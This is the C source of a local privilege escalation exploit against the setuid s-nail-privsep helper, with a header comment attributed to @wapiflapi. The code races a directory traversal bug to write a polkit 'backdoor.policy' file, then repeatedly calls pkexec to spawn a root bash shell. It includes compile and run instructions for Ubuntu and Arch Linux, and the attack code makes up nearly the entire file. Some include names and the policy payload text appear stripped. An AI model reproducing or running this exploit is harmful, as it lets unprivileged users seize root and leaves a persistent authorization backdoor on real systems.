/* ** 26/01/2016: s-nail-privsep local root by @wapiflapi ** The setuid s-nail-privsep binary has a directory traversal bug. ** This lets us be owner of a file at any location root can give us one, ** only for a very short time though. So we have to race a bit :-) ** Here we abuse the vuln by creating a polkit policy letting us call pkexec su. ** ** gcc s-nail-privget.c -o s-nail-privget ** ** # for ubuntu: ** ./s-nail-privget /usr/lib/s-nail/s-nail-privsep ** # for archlinux: ** ./s-nail-privget /usr/lib/mail-privsep */ #define _GNU_SOURCE #include #include #include #include #include #include #include #include #include #define DEBUG 0 #define FOREVER !DEBUG /* ** Attempts to copy data to target quickly... */ int flood(char const *target, char const *data, size_t len) { do { int fd; struct stat stat; if ((fd = open(target, O_WRONLY)) < 0) { continue; } write(fd, data, len); close(fd); // give poor dbus a chance here :-) // we don't want to abuse the file. usleep(10); } while (FOREVER); return 0; } /* ** This trigger's the vulnerability. (a lot.) */ int race(char const *path, char const *target) { char *argv[] = { NULL, "rdotlock", "mailbox", NULL, // $TMPDIR/foo "name", NULL, // $TMPDIR/foo.lock "hostname", "spam", "randstr", NULL, // eggs/../../../../../../..$TARGET "pollmsecs","0", NULL }; char tmpdir[] = "/tmp/tmpdir.XXXXXX"; char *loldir; int fd, pid, inpipe[2], outpipe[2]; if (!mkdtemp(tmpdir)) { err(EXIT_FAILURE, "mkdtemp(%s)", tmpdir); } if (!(argv[0] = strrchr(path, '/'))) { errx(EXIT_FAILURE, "%s is not full path to privsep.", path); } else { argv[0] += 1; // skip '/'. } // (nope I'm not going to free those later.) if (asprintf(&loldir, "%s/foo.lock.spam.eggs", tmpdir) < 0 || asprintf(&argv[3], "%s/foo", tmpdir) < 0 || asprintf(&argv[5], "%s/foo.lock", tmpdir) < 0 || asprintf(&argv[9], "eggs/../../../../../../..%s", target) < 0) { err(EXIT_FAILURE, "asprintf"); } // touch $tmpdir/foo if ((fd = open(argv[3], O_WRONLY | O_CREAT, 0640)) < 0) { err(EXIT_FAILURE, "open(%s)", argv[3]); } else { close(fd); } // mkdir $tmpdir/foo.lock.spam.eggs if (mkdir(loldir, 0755) < 0) { err(EXIT_FAILURE, "mkdir(%s)", loldir); } // OK, done setting up the environement & args. // Setup some pipes and let's get going. if (pipe(inpipe) < 0 || pipe(outpipe) < 0) { err(EXIT_FAILURE, "pipe"); } close(inpipe[1]); close(outpipe[0]); do { if ((pid = fork()) < 0) { warn("fork"); continue; } else if (pid) { waitpid(pid, NULL, 0); continue; } // This is the child, give it the pipes it wants. (-_-') if (dup2(inpipe[0], 0) < 0 || dup2(outpipe[1], 1) < 0) { err(EXIT_FAILURE, "dup2"); } if (nice(20) < 0) { warn("nice"); } execv(path, argv); err(EXIT_FAILURE, "execve(%s)", path); } while (FOREVER); return 0; } int main(int argc, char **argv, char **envv) { int flood_pid, race_pid, counter; char payload[] = \ "" \ "" \ "" \ "yes" \ "yes" \ "yes" \ ""; char const *target = "/usr/share/polkit-1/actions/backdoor.policy"; char *command; if (argc != 2) { errx(EXIT_FAILURE, "usage: %s /full/path/to/privsep", argv[0]); } fprintf(stderr, "[=] s-nail-privsep local root by @wapiflapi\n"); if ((flood_pid = fork()) < 0) { err(EXIT_FAILURE, "fork"); } else if (!flood_pid) { return flood(target, payload, sizeof payload); } fprintf(stderr, "[+] Started flood in %s\n", target); if ((race_pid = fork()) < 0) { err(EXIT_FAILURE, "fork"); } else if (!race_pid) { return race(argv[1], target); } fprintf(stderr, "[+] Started race with %s\n", argv[1]); // Now let's see if we can get a shell going. if (asprintf(&command, "pkexec --disable-internal-agent 2>/dev/null sh -c \"" "kill %d %d; echo done;" "python -c 'import pty; pty.spawn(\\\"/bin/bash\\\")'; kill $PPID\"", flood_pid, race_pid) < 0) { err(EXIT_FAILURE, "asprintf"); } counter = 0; int old = 0, ret; fprintf(stderr, "[=] This could take a while...\n"); while ((ret = system(command)) == old || old == 0) { old = ret; if (++counter % 9 == 0) { fprintf(stderr, "\r[%c] wait for it: ", "|/-\\"[counter % 4]); } } fprintf(stderr, " not in the mood? :(\n"); return 0; }